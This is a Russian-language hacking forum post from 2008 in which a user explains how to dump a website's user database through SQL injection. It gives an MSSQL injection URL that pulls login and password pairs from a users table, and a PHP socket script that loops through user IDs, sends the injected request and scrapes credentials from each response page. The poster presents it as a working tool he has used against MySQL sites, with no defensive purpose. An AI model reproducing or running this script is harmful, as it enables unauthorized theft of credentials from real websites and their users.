Показать сообщение отдельно

  #10  
Старый 14.01.2008, 20:45
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию

Как я понял постановку задачи: тебе нужно слить базу какого-то ресурса, используя инъекцию. Тоесть выводится по одному юзеру и нужно постоянно увеличивать значения некого колумна-идентификатора юзера, так ? Например

http://www.site.com/index.asp?id=1+or+1=(SELECT+TOP+1+cast(login+as+nv archar)%2B%27%3A%27%2Bcast(password+as+ nvarchar)+from+users+where+uID=3)--

Если я правильно понял задачу (?), то могу поделится своим решением.

Что нам мешает сделать скрипт на базе сокетов и http протокола вот такого типа

PHP код:
<?php

    $PORT 
80;                          // рабочий порт
    
$ADDR gethostbyname("site.com");   // ресурс, базу которой мы сливаем


    //каждую итерацию цикла мы извлекаем одного юзера

    
for($n 0;$n 1000;$n++)           
    {

      
$fp socket_create(AF_INET,SOCK_STREAM,SOL_TCP);         // создаем сокет   
      
socket_connect($fp,$ADDR,$PORT);                          // конектимся к нужному ресурсу

      //отправляем http- запрос, в котором содержится инъекция


      
$str1 "GET http://www.site.com/index.asp?id=1+or+1=(SELECT+TOP+1+cast(login+as+nv archar)%2B%27%3A%27%2Bcast(password+as+ nvarchar)+from+users+where+uID=";
      
$str2 ")-- HTTP/1.0\r\n Host: site.com\r\n\r\n";
     

      
$str $str1.$n.$str2;                 // значение uID в инъекции соответствует значению параметра цикла $n          

      
socket_write($fp,$str,strlen($str));   //отправляем слепленную строку  

      
while($out socket_read($fp,2048))    // читаем ответ сервера - это исходный код html-страницы
      
{
        

                
//Фильтрация полученной страницы - нам нужно извлечь необходимые данные. Для каждого сайта 
                //будет своя фильтрация
        //Например если нужные нам данные выводятся в заголовок страницы:
                //      <html>
        //    <title> login;password;email </title>
        //    ...
                //      </html>

               
$s strstr($out,"<title>"); 
                
$nm strpos($s,"</title>");
                
$result substr($s,7,$nm 7);
                 
        
//Конец фильтрации


        
echo $result;    // выводим результат или пишем его в файл
        
      
}

      
      echo 
"<br>";          //выводим каждого юзера с новой строки

      
socket_close($fp);    //завершаем роботу с сокетом 

    
}// конец for
?>
Думаю принцип понятен - в комментариях все написано. Правда я делал скрипт для сливания баз с сайтов с MySQL инъекцией (вот почему и нужно делать свою фильтрацию для каждого сайта), но его элементарные принципы позволяют работать и с MSSQL.

Примитивно - зато работает
 
Ответить с цитированием